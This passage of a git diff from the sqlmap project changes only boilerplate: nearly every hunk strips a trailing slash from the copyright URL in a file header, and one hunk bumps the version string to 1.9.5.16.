b/lib/core/replication.py index e35d90a5a75..5d91c470da0 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index 8f9af55b85f..99c5f4091f9 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 640b749afad..95a29aaec86 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 86dfe35d50a..cfa15a31afc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.15" +VERSION = "1.9.5.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index b204acc870c..2f7def7cc9f 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 803e455e35e..5dd8ddc0963 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index 543817e159d..79b895ee5bf 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/testing.py b/lib/core/testing.py index dfd1f3fd08e..1e0e343490e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/threads.py b/lib/core/threads.py index fa098f09f45..09dcad23d63 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index d3680dfada4..6deb8aa3714 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index 1ea8ad94572..841e5f0d54b 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 4b5133d02d4..bda962b1629 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index ef05f08f8dc..7a8187f6b52 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ccb69543f31..ea056318510 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index dc655b12ada..236e6ac6c47 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index ba13703efdb..2b5436d16ef 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 1890a1ad36d..8fa21fd0f00 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index 08226a57cd8..3d91b42b368 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 36dc10c6a38..7b284d71964 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 3c254fb4323..ffd6d439c5c 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index a3a557a906e..4370db4d11a 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 7abb3723599..4f94c770645 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 4734e0d62e3..6c15cf8c2b9 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index f839453bd91..56a064474fc 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/connect.py b/lib/request/connect.py index c9d97ed2763..4ddd2b5d27d 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/direct.py b/lib/request/direct.py index eee1f6c198d..a4bb32deb24 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index fe19d2b0ec8..26035eecdce 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index c472bda9825..2029837f414 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 99769664ffe..c1ab66c7b8a 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 3e024e9c4cb..8b849d0e98d 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 4a47736fef4..31d79977c8a 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index d68b5e944c8..560c63d9ae9 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 65b717b6f47..ce2e835c190 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/templates.py b/lib/request/templates.py index 4efd9f3ed5e..70d5e75b665 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index c31acfe13fe..7bffa92ce69 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 46ab74b45e4..8fd23895239 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index d43317a5ee7..3204648fed7 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 3798c96f2f8..4fc65f33f06 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 8906d2a5140..67d541cc7a1 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 99921388478..56b14a9f878 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 79744eadc8e..55129a30398 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index fdf07b93ee5..223ac12c4f5 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 08c351f25af..063e7c95e14 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 4ca1f888910..4a5dd5d90a9 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 1bb0b72f9bc..0273785c669 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index fe58d9b0b59..53ba203e9a2 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 50948027cce..eab12ab5217 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 904ff10b986..eb9c07b46cf 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 9849dfdfffa..4dd9986c9e3 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index d3b5777bed7..a02e604182b 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 6d13781f45a..790e2048e4e 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 62684d3d78e..caf07b3942c 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/har.py b/lib/utils/har.py index 57e5db5e647..47eb7526912 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 4109dfc52c6..9924d409c8d 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index f7c523f80ef..3748905879d 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index 5acb96a851d..102eb3a245d 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 0c59d7af71b..2a83adad6f3 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 4f2c26a4f8f..79b3b77826d 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index d85b7e0413d..874252d32c6 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index 67dc7e928ee..e6822d20599 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index 46710434b29..ec19114f60f 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 3c58d36e3ee..e235db012da 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 49b3608145c..7db45a87ce7 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 10474745a57..3788ba1d104 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 8c0416165e4..ce23551b29d 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 